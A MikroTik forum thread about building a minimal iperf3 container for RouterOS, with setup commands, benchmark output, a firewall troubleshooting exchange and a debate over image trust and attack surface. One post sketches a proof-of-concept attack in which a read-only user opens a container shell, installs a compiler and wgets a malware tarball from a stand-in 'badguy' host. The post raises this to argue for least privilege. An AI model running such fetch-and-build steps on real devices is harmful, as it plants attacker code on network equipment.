Small iperf3 container

Mon Apr 03, 2023 4:30 am

I've been on a quest to make the smallest iperf3 container for RouterOS. This constitutes weekend entertainment for me. What can I say; I nerd hard.

What I have so far is here.

If you've got ~0.2 megs to spare on your router, give it a spin. I'm getting 3.4 Gbit/sec test results to my RB4011 running ROS 7.12rc5.

marsbeetle · Mon Apr 03, 2023 2:42 pm

This works fine for me on ARM64, less than 5MB - https://hub.docker.com/r/taoyou/iperf3-alpine

/container print
 1 name="4296455f-3ae4-4ea3-b96f-2fe832647191" tag="" os="linux" arch="arm64" interface=veth1-iperf root-dir=usb1/container/iperf mounts="" dns="" 
   hostname="iperf" status=running

Mon Apr 03, 2023 11:24 pm

less than 5MB

It's closer to seven megs unpacked:

$ docker create --name foo --platform linux/arm64 taoyou/iperf3-alpine
$ docker export foo | pv -b > /dev/null 
6.97MiB

(pv is the PipeViewer tool.)

You might want to be aware that this line at the top of the taoyou container's Dockerfile switches the package repos over from the official Alpine ones to the Aliyun (a.k.a. Alibaba Cloud) ones. If the only reason for that is because he's inside the Great Firewall of China and can't build containers otherwise, fine, but do realize that this step allows the Chinese government to swap out GCC and so forth to suit their political and security needs.

I did learn one thing of value from this container: the setcap step is unnecessary. I got that idea from the mDNS repeater container while I was fighting with getting the container to start, and I ended up convincing myself it was part of why I eventually succeeded, but no, it's a complete irrelevancy.

Mon Apr 03, 2023 11:28 pm

In completely separate news, I figured out what the Alpine layer was adding that allowed the container to start on ROS: it won't create the /dev, /proc, /run, or /sys mount points for you. If any single one of those is missing, it will unpack successfully, but then silently fail to start.

Between this and the removal of the setcap binary, I've now got my 0.2 MiB container running successfully on my RB4011!

0.2 megs! Installed!

Next step: try it on the CRS328, with its piddlin' 16 megs of flash.

Larsa · Mon Apr 03, 2023 11:55 pm

Wow, that is a true slimmed down container!

Tue Apr 04, 2023 12:11 am

Yes, thank you, @Larsa. These are the principles I was expounding on in the mDNS repeater thread. Between what you see on trunk in my Fossil now and the removed setcap stuff, I do think one could get that container under a meg.

Once again, not my itch, but the code's there for the taking now.

Tue Apr 04, 2023 12:52 am

Next step: try it on the CRS328, with its piddlin' 16 megs of flash.

Womp, womp: 356 Mbit/sec with 4 parallel streams.

I guess that's what I get for using an 800 MHz ARM CPU for traffic generation.

Well, at least it runs.

elico · Thu Nov 09, 2023 4:25 am

Give the latest alpine 3.18 iperf3 a test:
https://hub.docker.com/r/elicro/iperf3-server

The next is a test from a windows machine over a connection between HAP ax2 to an HAP ac2 which hosts the iperf3-server.
Seems pretty decent to me.

PS C:\Users\Administrator\Software\iperf-3.1.3-win64> .\iperf3.exe -c 172.21.0.52
Connecting to host 172.21.0.52, port 5201
[  4] local 192.168.206.15 port 58116 connected to 172.21.0.52 port 5201
[ ID] Interval           Transfer     Bandwidth
[  4]   0.00-1.00   sec  20.8 MBytes   174 Mbits/sec
[  4]   1.00-2.00   sec  25.8 MBytes   216 Mbits/sec
[  4]   2.00-3.00   sec  26.9 MBytes   226 Mbits/sec
[  4]   3.00-4.00   sec  25.0 MBytes   210 Mbits/sec
[  4]   4.00-5.00   sec  26.2 MBytes   220 Mbits/sec
[  4]   5.00-6.00   sec  27.8 MBytes   233 Mbits/sec
[  4]   6.00-7.00   sec  25.4 MBytes   213 Mbits/sec
[  4]   7.00-8.00   sec  21.5 MBytes   180 Mbits/sec
[  4]   8.00-9.00   sec  25.6 MBytes   215 Mbits/sec
[  4]   9.00-10.00  sec  27.5 MBytes   231 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bandwidth
[  4]   0.00-10.00  sec   252 MBytes   212 Mbits/sec                  sender
[  4]   0.00-10.00  sec   252 MBytes   212 Mbits/sec                  receiver

iperf Done.

Download page for iperf3 windows version:
https://iperf.fr/iperf-download.php#windows

Installation instructions:

/interface/bridge/add name=dockers
/ip/address/add address=172.21.0.254/24 interface=dockers
/interface/veth/add name=veth52 address=172.21.0.52/24 gateway=172.21.0.254
/interface/veth/set veth52 address=172.21.0.52/24
/interface/bridge/port add bridge=dockers interface=veth52
/container/config/set registry-url=https://registry-1.docker.io tmpdir=usb1-part1/pull
/container/envs/add name=ipserf3_server_envs key=TZ value="Asia/Jerusalem"
/container/envs/add name=ipserf3_server_envs key=IP value="172.21.0.52"

/container/add dns=172.21.0.254 remote-image=elicro/iperf3-server interface=veth52 root-dir=usb1-part1/iperf3_server envlist=ipserf3_server_envs start-on-boot=yes

Thu Nov 09, 2023 1:50 pm

Give the latest alpine 3.18 iperf3 a test:

My container has been on the current release of iperf3 since September 16. I've updated it twice since starting this thread.

Yours is built on Alpine 3.18.4, which is still shipping iperf3 version 3.14, one back from the latest. You either have to build against alpine:edge or build from source — my container does both — to get iperf 3.15 at the moment.

Leaving the Alpine layer in the final container image instead of producing a single-static-binary container puts a powerful Linux userland inside the running container, including a full package manager attached to your network, potentially increasing its attack surface infinitely, not to mention ballooning its size:

$ docker image ls               
REPOSITORY             TAG               IMAGE ID       CREATED          SIZE
tangentsoft/iperf3     latest            fdf4574c8ceb   6 seconds ago    393kB
elicro/iperf3-server   latest            3374057abc08   34 seconds ago   15.9MB

Yours won't even unpack on 16 MiB flash devices like the CRS328, much less install and run. Mine will.

As if all of that weren't enough of a reason to avoid this new container, you haven't documented how it's built. Mine is fully-documented and reproducible, allowing network operators to audit its operation for safety and suitability before putting it into production.

elico · Sat Nov 11, 2023 11:05 am

Hey Tangent,

I don't want to say what you are saying is wrong.
It will be different per use case.
Your container is designed to be as small as possible and for specific edge use cases.
The container I have created is a general off the shelf ready to use software packaged in a container.
I am not trying to use the latest iperf version since I rely on Alpine distribution.

The container I have created was written for anyone to use.
Just for the knowledge of whoever wants or needs you can see the content of the container and verify if it's OK for you.
If you need the sources for a simple `apk add iperf3` you are in a really bad shape.
You can see the sources in the image itself and in the docker hub details about the container image.
The next command will expose the internals and if you are missing something you should be able to just put the container inside a VM and check the content of "start-server.sh"....

# docker history --no-trunc elicro/iperf3-server
IMAGE                                                                     CREATED       CREATED BY
                                SIZE      COMMENT
sha256:6a35302d2125aeffa846810a94e7776b90cd8f9724224f0f1c8abcfc5ffbe13f   2 days ago    CMD ["/start-server.sh"]
                                0B        buildkit.dockerfile.v0
<missing>                                                                 2 days ago    EXPOSE map[5201/tcp:{} 5201/udp:{}]
                                0B        buildkit.dockerfile.v0
<missing>                                                                 2 days ago    RUN /bin/sh -c chmod +x /start-server.sh # buildkit
                                21B       buildkit.dockerfile.v0
<missing>                                                                 2 days ago    COPY start-server.sh /start-server.sh # buildkit
                                21B       buildkit.dockerfile.v0
<missing>                                                                 2 days ago    WORKDIR /
                                0B        buildkit.dockerfile.v0
<missing>                                                                 2 days ago    RUN /bin/sh -c apk add --no-cache iperf3 # buildkit
                                213kB     buildkit.dockerfile.v0
<missing>                                                                 4 days ago    RUN /bin/sh -c echo OK && apk update # buildkit
                                1.88MB    buildkit.dockerfile.v0
<missing>                                                                 6 weeks ago   /bin/sh -c #(nop)  CMD ["/bin/sh"]
                                0B
<missing>                                                                 6 weeks ago   /bin/sh -c #(nop) ADD file:756183bba9c7f4593c2b216e98e4208b9163c4c962ea0837ef88bd917609d001 in /    7.34MB

If you are going to run a container you should have the knowledge and understanding of the risks and if you don't have these you can always ask others here or in other places.

Just one specific thing about the attack surface of the Alpine compared to plain single static binary, if you are so afraid of containers and from alpine you should not even used RouterOS but rather pay a great sum of money to specific experts that will try to educate you about the feasible attack vector points of the world in general.

Me creating this container also contains in it that I trust alpine linux and iperf.
It's free and opensource for anyone to use but it doesn't mean that I need to publish the way I built the image to "prove" others how it was built.
If an admin doesn't know how to open a container image and to do basic analysis of the image based on Alpine linux he should start thinking about learning this kind of knowledge and expertise.

jvanhambelgium · Sat Nov 11, 2023 12:11 pm

Could you guys as container specialists enlighten me why a container would not start if you installed it onto a SMB-share (on a RouterOS through ROSE-package)
Such package is downloaded correct, container is created OK, "iperf" binary can be found on the NAS providing the SMB-share under the "bin" folder that was created.

However pressing "Start" give nothing in the logging and the container stops 1 second later...

I really want to understand what I would need to alter in order to run container of a SMB-share which is permanently mounted on the Mikrotik.
Some of the info (layers) I see for the "iperf3" container image.
Perhaps I must modify some files and deploy container from local images and not pull them from the repo ?

ADD file ... in /
CMD ["/bin/sh"]
RUN /bin/sh -c echo OK
RUN /bin/sh -c apk add
WORKDIR /
COPY start-server.sh /start-server.sh # buildkit
RUN /bin/sh -c chmod +x
EXPOSE map[5201/tcp:{} 5201/udp:{}]
CMD ["/start-server.sh"]

Thanks!

Sat Nov 11, 2023 1:00 pm

Your container is designed to be…for specific edge use cases.

What else is your container meant to provide other than an "iperf3-server" as labeled, then? Here I thought the idea was to provide an iperf3 server. Mine does that. As you can see from my container's Dockerfile, I didn't strip any features of iperf3 out of my binary, making it suitable only for "specific edge use cases." Mine meets the spec on the label and does nothing more.

The container I have created is a general off the shelf ready to use software packaged in a container.

Your alternative is worse on every meaningful metric: it's pointlessly bigger, it's configured in a less secure way, and it's of an older version than current even though you claim it is "the latest". That would be fine if your container was the only thing available, but instead you've hijacked a thread offering a superior option by announcing an inferior one. To what useful end?

I am not trying to use the latest iperf version since I rely on Alpine distribution.

You can get the latest version of iperf3 atop Alpine without compiling from source by saying "FROM alpine:edge".

you can see the content of the container and verify if it's OK for you.

The image layer comments listed on Docker Hub may be incomplete, misleading, or even wrong. Only having the source code lets you reproduce the build reliably.

Take the first line in the breakdown on my tangentsoft/iperf3:latest image for example:

COPY /src/iperf3 /bin/ # buildkit

Where did "/src/iperf3" come from? What is that binary's provenance? How was it built? Is it even iperf3, really? Only having the Dockerfile, the Makefile, and redoing the build lets you verify that what that container claims to provide is actually provided, unchanged, bit-for-bit identical to your local build.

That's important with non-verified image sources like yours and mine since there is otherwise no basis for developing trust in the provider of the image. Anyone can list anything on Docker Hub. I've found proof-of-concept malware up there that's been available for years and is still available despite me reporting it to Docker, Inc. Although I believe the image I'm thinking of to be the product of a security researcher and not some type of malefactor, it is listed under the name of a popular piece of software, potentially leading anyone searching for a pre-packaged container image for that program to install it and thereby open the proof-of-concept hole in their network.

Furthermore, the OCI spec allows you to omit image layer history comments or to put any lie there that you like. Note that the "history" section is wholly optional, as is the "created_by" attribute within. You don't even have to hand-hack the config.json file to achieve this. There are ready-made tools for creating this type of counterfactual declaration such as "buildah build --omit-history".

When these created_by attributes are present in the image's config.json file, there is nothing enforcing the accuracy of their representation of the image layer's contents. They're comments, not a recipe. Opening the Tags panel on Docker Hub and clicking on an image to find out what is inside can be arbitrarily misleading.

If you need the sources for a simple `apk add iperf3` you are in a really bad shape.

Read up on reproducible builds and see if you still feel the same way afterward.

If that doesn't change your mind, you shouldn't be working in any sphere where trustworthy SBOMs are required.

If you are going to run a container you should have the knowledge and understanding of the risks

How can you understand the risks if you cannot trust the image history? Only the source code provides that level of trust.

I am not saying that every network operator should audit their containers to the source code level, but someone should be doing these audits. That is in part why Docker Hub has the "verified" and "certified OSS" labels on trustworthy containers.

But what assurances are there for community contributed container images like ours, if not the source code?

if you are so afraid of containers and from alpine you should not even used RouterOS but rather…

I'm afraid for good reason. I present here my proof-of-concept local island-hopping attack, cooked up in a matter of minutes and just now reported as SUP-134088:

$ ssh admin@myrouter
> /container/add remote-image="alpine:latest" interface=veth1 entrypoint="/bin/sleep" cmd="600"
> /container/start 0
> exit
$ ssh readonly@myrouter
> /container/shell 0
# apk add gcc 
# wget https://badguy.example.com/horrid/malware.tar.gz

Now you can compile this arbitrary code on-device as a read-only RouterOS user and run it on your little island, attached to a core piece of network equipment!

This type of attack is also called "living off the land." If there is nothing else inside the container but the service binary, that "land" becomes an empty desert in this analogy.

And that's not the only way to fail here. If the software you package up is trustworthy today but ends up being shown to have an RCE vulnerability tomorrow — you know, the kind of thing that happens approximately once a week, somewhere — having an unnecessary copy of Alpine inside the container gives an attacker a lot of power that they would not otherwise have.

elico · Mon Nov 13, 2023 12:03 pm

Hey Tangent,

First I appreciate your time and effort.
In a forum there is some definition of tread hijacking but for now you are writing much more then me and also placing very good points.
I would say this is a very very successful discussion regarding the general topic of containers.

I don't know in what environment you are working in or at but there are couple ways to look at trust and facts.
We are obligated to do our best efforts to make sure we have trust in a specific software.
And you are right that to some degree there should be a signature that will identify the container in it's latest state.
The layers themself doesn't matter as long as the latest state is verified as trusted by a trusted verification entity.
I can publish an AIDE database file that will use SHA256 and will make sure what I intended to publish is reaching the other side.
However there are basic constrains to trust methods in the www and in general use cases.
The content of your and my container is not a secrect while you have built it from sources and copied it into another layar.
The only thing in your case is to verify that the static binary is either safe or not safe for usage and it's not such a simple task by itself since it's a self compiled and not a widely used binary.(in the sense that it's not distributed to the masses like alpine and other distros do)
In my case there are known risks and in your case there are known risks.

The difference is the effort needed to secure the trust of the container.
For example if I want to secure the container the first thing to do is to use the FW....
block all outgoing traffic by default and allow only NEW,ESTABLISHED,RELATED per the iperf3 ports.
Also, if you want to know if something is trying to reach out of the container you can simply monitor the FW rule counters.
If the DROP_ALL_OUT rule is increasing to even 1 you can understand that there is something that needed to be checked and tested in the container and in your case else then the hashes of the files inside of it also reverse engineer the static binary.

Security is not about "not having build tools" but to limit the attack surface of these tools.
Mikrotik does a very good job in securing their systems and giving a very good FW, Routing and Switching OS and Hardware and my view on things is more optimistic about the trust I give in Mikrotik and of-course I did my homework and I can try to answer any of your questions if you want me to add more details.

By the way, again, this is one of the most amazing forum discussions I have seen in Mikrotik Forums yet in many days.

Mon Nov 13, 2023 7:43 pm

there should be a signature that will identify the container in it's latest state.

Containers provide that already: the image digest, which functionally obsoletes another technology you mention, AIDE. Indeed, when combined with the reproducible build ideas I linked to previously, container image digests let you reproduce the digest list for one system on any other system, removing the need to depend on a trusted central authority to hold the immutable "correct" set of digests, avoiding a potential SPoF problem.

The smaller the set of inputs and outputs, the easier a reproducible build is to achieve. With my image, all I have to "pin" in place are the compiler and library versions, but with yours, any change to anything in Alpine will invalidate the hash you take of the final result.

…to verify that the static binary is either safe or not safe for usage and it's not such a simple task by itself since it's a self compiled and not a widely used binary

On the contrary, I think my container's content is quite simple to verify. Not only is its Dockerfile short, there is only one key line you have to check: the source code pull from GitHub. If you trust GitHub to provide untainted iperf3 sources, you're done right there. If not, then you can point that line to any other provider of iperf3 source code you do trust.

You bring up Alpine as a source of trustworthy iperf3 binaries. Fine, then. Here is the search result on their package database for the ARMv7 package in alpine:edge. Clicking on it gives the same GitHub repo for their source code.

If you dig into the build log, you find that they're pulling a static tarball instead of using Git, as my container does. Fine again. Modify my container to pull that same tarball and build from it instead. Now you have equivalent trust for my container versus the one built by the Alpine project itself.

This is the value of publishing full source code for the container build system.

The difference is the effort needed to secure the trust of the container.

The problem with your method is that without the Dockerfile, I cannot reproduce your build.

Pointing at the image history comments and saying, "That is how it is built," proves nothing. Docker Hub does not — and cannot — enforce the validity of those comments. If I were sufficiently motivated, I am certain I could write a container that put one line of a poem in as the comment for each layer in the image, and never mind that Bash has yet to get a feature that lets it execute poetry.

Beware the Jabberwock, my son!

use the FW....
block all outgoing traffic by default and allow only NEW,ESTABLISHED,RELATED per the iperf3 ports.

Yes, you could do that…and thereby slow down a container meant for testing network speed.

Instead of forcing every packet through a gauntlet of firewall rules that enforces my intent that the container do nothing else but listen on UDP+TCP port 5201, I would rather provide a container that does exactly that and nothing else, by construction. That way, I don't need to add a firewall to my container to block outbound wget connections or inbound connections to some random botnet's command-and-control server built on-device with GCC, because these things cannot happen with my container in the first place.

This is the principle of least privilege in action. Instead of giving the container access to do everything one can possibly do through "apk add" and then blocking off all but the one thing it is specifically allowed to do, I prefer to construct my container in a manner that allows it to do that one thing and nothing else.

elico · Tue Nov 14, 2023 9:46 am

Hey Tangent,

The point of having an option to use a distribution is to not handle the sources yourself.
There is a price for building and verifying yourself the binaries and handing it over to another entity or person.
I prefer to invest my time on what it's worth.
I am not handling embedded systems with 16 MB of Storage but rather use an external USB SSD drive or USB FLASH Drive.
I can understand that there is a need for your specific use case but now the users have two options to choose from.
I believe it's better to have two options or more rather then only one that you need to verify your self every piece of the puzzle.

By the way, by your logic we might not trust Mikrotik and their closed sources...

I can put my stand in many words but there would be use cases that would benefit from your build and approach...
We are not arguing one against the other but rather selling the same product ie iperf3 (and Mikrotik and Docker etc..) with different approaches.
Eventually I want for you to be able to benefit from our work(all of the above) so I think that for a HAP ac/ax 3 it would be usefull.
As for HAP AX2 it doesn't have USB anymore and I think it would put me in a position which I must purchase a product with a higher price tag eventually.
I would be happy to have HAP ax2 with a USB since then you can get one instead of the RB4011 and have almost the same performance.
And if you really need all the benefits of RB4011 then by all means MT, can you please add a USB port to the next one?
Or maybe the L009 can be a good choice?

And by the way, a single DROP rule in the RAW table and another in the FILTER on a RB4011 would not affect the overall of the device.
Just prioritize the rules with the ESTABLISHED RELATED first (with fast track) and all the others in a lower priority and then you are set to go.
This is a RB4011 not a MIPS Based device....

Tue Nov 14, 2023 11:19 am

Tangent, before spreading FUD (sure, there are valid concerns, but still), have you read the Container manual?

First of all, you can't use containers with a read only user, as this feature requires a physical button push to enable it.
Don't enable it on devices that have untrusted users. Simple.

And second of all, there are big red disclaimers that address those concerns:
https://help.mikrotik.com/docs/display/ROS/Container

robinjustin · Wed Nov 15, 2023 3:56 pm

Fantastic! A small iperf3 container can be a game-changer for network testing and performance tuning. The lightweight footprint makes it easy to deploy and integrate into various environments. Perfect for quick assessments and troubleshooting. Any specific optimizations or unique features you've added to make it even more efficient.

romal76 · Sat Dec 02, 2023 11:37 am

tell me please, what am I doing wrong?
container is running, but port 5201 is not open and iperf3: error - unable to connect to server - server may have stopped running or use a different port, firewall issue, etc.: Connection refused

Sat Dec 02, 2023 12:34 pm

Probably a firewall rule.
The last part of your test even says so ...

Export config (minus serial, wanip, passwds, ...)
Post beteween [ code] quotes for easier readability.

romal76 · Sat Dec 02, 2023 12:53 pm

# 2023-12-02 13:44:31 by RouterOS 7.12.1
# software id = 
#
# model = RB3011UiAS
# serial number = 
/interface bridge
add admin-mac=64:D1:54:81:35:E3 auto-mac=no comment=defconf name=bridge
add name=containers
/interface ethernet
set [ find default-name=ether2 ] name=ether2-master
set [ find default-name=ether6 ] name=ether6-master
/interface veth
add address=192.168.88.2/24 gateway=192.168.88.1 gateway6="" name=veth1
/disk
set usb1 type=hardware
/interface list
add comment=defconf name=WAN
add comment=defconf name=LAN
add exclude=dynamic name=discover
/interface wireless security-profiles
set [ find default=yes ] supplicant-identity=MikroTik
/ip pool
add name=default-dhcp ranges=192.168.88.10-192.168.88.254
/ip dhcp-server
add address-pool=default-dhcp interface=bridge lease-time=10m name=defconf
/port
set 0 name=serial0
/snmp community
set [ find default=yes ] addresses=0.0.0.0/0
/zerotier
set zt1 comment="ZeroTier Central controller - https://my.zerotier.com/" \
    disabled=yes disabled=yes name=zt1 port=9993
/container
add interface=veth1 logging=yes start-on-boot=yes workdir=/
/container config
set registry-url=https://registry-1.docker.io tmpdir=usb1/pull
/interface bridge port
add bridge=bridge comment=defconf interface=ether2-master
add bridge=bridge comment=defconf interface=ether6-master
add bridge=bridge comment=defconf hw=no interface=sfp1
add bridge=bridge interface=ether3
add bridge=bridge interface=ether4
add bridge=bridge interface=ether5
add bridge=bridge interface=ether7
add bridge=bridge interface=ether8
add bridge=bridge interface=ether9
add bridge=bridge interface=ether10
add bridge=bridge interface=veth1
/ip neighbor discovery-settings
set discover-interface-list=discover
/interface list member
add comment=defconf interface=bridge list=LAN
add comment=defconf interface=ether1 list=WAN
add interface=ether2-master list=discover
add interface=ether3 list=discover
add interface=ether4 list=discover
add interface=ether5 list=discover
add interface=sfp1 list=discover
add interface=ether6-master list=discover
add interface=ether7 list=discover
add interface=ether8 list=discover
add interface=ether9 list=discover
add interface=ether10 list=discover
add interface=bridge list=discover
/ip address
add address=192.168.88.1/24 comment=defconf interface=bridge network=\
    192.168.88.0
add address=192.168.88.2/24 interface=veth1 network=192.168.88.0
/ip dhcp-client
add comment=defconf interface=containers
/ip dhcp-server network
add address=192.168.88.0/24 comment=defconf gateway=192.168.88.1
/ip dns
set allow-remote-requests=yes
/ip dns static
add address=192.168.88.1 name=router.lan
/ip firewall filter
add action=accept chain=input comment=\
    "defconf: accept established,related,untracked" connection-state=\
    established,related,untracked
add action=drop chain=input comment="defconf: drop invalid" connection-state=\
    invalid
add action=accept chain=input comment="defconf: accept ICMP" protocol=icmp
add action=drop chain=input comment="defconf: drop all not coming from LAN" \
    disabled=yes in-interface-list=!LAN
add action=accept chain=forward comment="defconf: accept in ipsec policy" \
    ipsec-policy=in,ipsec
add action=accept chain=forward comment="defconf: accept out ipsec policy" \
    ipsec-policy=out,ipsec
add action=fasttrack-connection chain=forward comment="defconf: fasttrack" \
    connection-state=established,related disabled=yes hw-offload=yes
add action=accept chain=forward comment=\
    "defconf: accept established,related, untracked" connection-state=\
    established,related,untracked
add action=drop chain=forward comment="defconf: drop invalid" \
    connection-state=invalid
add action=drop chain=forward comment=\
    "defconf:  drop all from WAN not DSTNATed" connection-nat-state=!dstnat \
    connection-state=new disabled=yes in-interface-list=WAN
/ip firewall nat
add action=masquerade chain=srcnat comment="defconf: masquerade" \
    ipsec-policy=out,none out-interface-list=WAN
/routing bfd configuration
add disabled=no interfaces=all min-rx=200ms min-tx=200ms multiplier=5
/system clock
set time-zone-name=Europe/Moscow
/system logging
set 0 action=disk
set 1 action=disk
set 2 action=disk
set 3 action=disk
/system note
set show-at-login=no

Sat Dec 02, 2023 1:13 pm

DELETED

romal76 · Sat Dec 02, 2023 1:33 pm

I have only one bridge that contains all ethers and veth1.
veth1 having address 192.168.88.2
PC having address 192.168.88.254
Packets from sniffer is in attachments
But iperf3 still having error
Allowing everything else from every other source, including the WAN is temporary for testing purposes only

Sat Dec 02, 2023 1:55 pm

Try adding this:

/ip firewall filter
add place-before=0 protocol=tcp dst-port=5201 \
    action=accept chain=forward out-bridge-port=veth1

romal76 · Sat Dec 02, 2023 1:59 pm

done, nothing has changed

Sat Dec 02, 2023 2:09 pm

I don't understand what's going on, then. My rule specifically allows this connection at the first place in the configuration where it can take effect. The only thing I can think of to broaden it is to remove the "out-bridge-port" bit.

Your claim is that nmap still reports that port 5201/tcp is still filtered after adding this firewall rule?

romal76 · Sat Dec 02, 2023 2:14 pm

yes, still filtered and also zero counters on new rule

Sat Dec 02, 2023 2:18 pm

In that case, I would delete that empty "containers" bridge, delete the container, and recreate it using the command given at the top of my docs on this container.

romal76 · Sat Dec 02, 2023 2:23 pm

am I need to use "bridge1" or already existing "bridge" ?
like this

 /interface/veth
  add address=192.168.88.2/24 gateway=192.168.88.1 name=veth1
 /interface bridge port
  add bridge=bridge interface=veth1
/container
  add remote-image=tangentsoft/iperf3:latest \
  interface=veth1 \
  start-on-boot=yes \
  logging=yes
   start 0

romal76 · Sat Dec 02, 2023 2:39 pm

it's working now, thanks

Mon Dec 04, 2023 2:48 pm

iperf 3.16 is out, with a significant performance jump in multi-stream tests. My RB4011 numbers went from 3.4 Gbit/sec for 4-stream downloads to over 4 Gbit/sec atop OM4 with generic SFP+ modules. IMO, it's worth recreating your containers to use this version. (And upgrade your clients, too.)

aboulfad · Fri Dec 08, 2023 6:35 pm

iperf 3.16 is out, with a significant performance jump in multi-stream tests. My RB4011 numbers went from 3.4 Gbit/sec for 4-stream downloads to over 4 Gbit/sec atop OM4 with generic SFP+ modules. IMO, it's worth recreating your containers to use this version. (And upgrade your clients, too.)

Thank you very much for your effort & super detailed instructions, it greatly helped me learn! I manually compiled iperf3 using your Makefile/Dockerfile just now & uploaded it to my RB5009. It works but surprised to see CPU util jump to ~ 25% as iperf3 is doing its thing. If I just finished the compile form iperf master, that would mean I picked up 3.16 & whatever else, right ?

I hope to apply what I learnt as I wanted to "attempt" to install an image with OOKLA's speedtest (built for arm64) so I can initiate a speediest to the Internet from RB-5009.

Fri Dec 08, 2023 8:37 pm

surprised to see CPU util jump to ~ 25% as iperf3 is doing its thing.

If you monitor the client side on your PC, you will find that iperf3 takes CPU resources to do its thing there, too. Why would a smallish ARM CPU be different?

You want my opinion, you should be thanking MikroTik it isn't pegged at 100%.

I picked up 3.16 & whatever else, right ?

You would have had to go out of your way to get anything else, assuming you're using the latest version of the Makefile, which hard-codes the "3.16" release version string.

You can double-check it with a command like "docker run -it --rm tangentsoft/iperf3 --version".

aboulfad · Fri Dec 08, 2023 8:54 pm

You would have had to go out of your way to get anything else, assuming you're using the latest version of the Makefile, which hard-codes the "3.16" release version string.

You can double-check it with a command like "docker run -it --rm tangentsoft/iperf3 --version".

Ah, I missed the --branch that switches to the VERSION ! Thank you & for the command. A lot to learn

PS: it isn't fair comparison, but native iperf3 on rpi4 is ~ 4% CPU usage. oc MK RB5009 is slower clock speed & the iperf is running inside a container.

Fri Dec 08, 2023 9:47 pm

native iperf3 on rpi4 is ~ 4% CPU usage.

And you’re getting a lower speed test result on the Pi, aren’t you? CPU usage is a function of throughput. It takes more grunt to push 10G than 1G.

aboulfad · Fri Dec 08, 2023 10:06 pm

The rpi4 is 1Gbps capable, so I get around 945Mbps to the iperf server in my RB5009

The highest speed I can test is 1.5G from RB5009 to my Bell modem, the Mk is connected using the 2.5G port, but I can’t make that test as the Fibe modem doesn’t obviously run iperf.

Mon Dec 11, 2023 4:53 am

Here's a screenshot of the RouterOS profile I get while doing a ~4.1 Gbit/sec test over OM4 to an RB4011 with iperf3 3.16 set for 4 parallel threads:

ss.jpg

That's a pretty direct scaling factor: four times the bandwidth for four times the CPU power.

mantouboji · Fri Jan 19, 2024 10:39 am

Very very good

Give the latest alpine 3.18 iperf3 a test:
https://hub.docker.com/r/elicro/iperf3-server

The next is a test from a windows machine over a connection between HAP ax2 to an HAP ac2 which hosts the iperf3-server.
Seems pretty decent to me.

PS C:\Users\Administrator\Software\iperf-3.1.3-win64> .\iperf3.exe -c 172.21.0.52
Connecting to host 172.21.0.52, port 5201
[  4] local 192.168.206.15 port 58116 connected to 172.21.0.52 port 5201
[ ID] Interval           Transfer     Bandwidth
[  4]   0.00-1.00   sec  20.8 MBytes   174 Mbits/sec
[  4]   1.00-2.00   sec  25.8 MBytes   216 Mbits/sec
[  4]   2.00-3.00   sec  26.9 MBytes   226 Mbits/sec
[  4]   3.00-4.00   sec  25.0 MBytes   210 Mbits/sec
[  4]   4.00-5.00   sec  26.2 MBytes   220 Mbits/sec
[  4]   5.00-6.00   sec  27.8 MBytes   233 Mbits/sec
[  4]   6.00-7.00   sec  25.4 MBytes   213 Mbits/sec
[  4]   7.00-8.00   sec  21.5 MBytes   180 Mbits/sec
[  4]   8.00-9.00   sec  25.6 MBytes   215 Mbits/sec
[  4]   9.00-10.00  sec  27.5 MBytes   231 Mbits/sec
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bandwidth
[  4]   0.00-10.00  sec   252 MBytes   212 Mbits/sec                  sender
[  4]   0.00-10.00  sec   252 MBytes   212 Mbits/sec                  receiver

iperf Done.

Download page for iperf3 windows version:
https://iperf.fr/iperf-download.php#windows

Installation instructions:

/interface/bridge/add name=dockers
/ip/address/add address=172.21.0.254/24 interface=dockers
/interface/veth/add name=veth52 address=172.21.0.52/24 gateway=172.21.0.254
/interface/veth/set veth52 address=172.21.0.52/24
/interface/bridge/port add bridge=dockers interface=veth52
/container/config/set registry-url=https://registry-1.docker.io tmpdir=usb1-part1/pull
/container/envs/add name=ipserf3_server_envs key=TZ value="Asia/Jerusalem"
/container/envs/add name=ipserf3_server_envs key=IP value="172.21.0.52"

/container/add dns=172.21.0.254 remote-image=elicro/iperf3-server interface=veth52 root-dir=usb1-part1/iperf3_server envlist=ipserf3_server_envs start-on-boot=yes

Small iperf3 container

Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container

Re: Small iperf3 container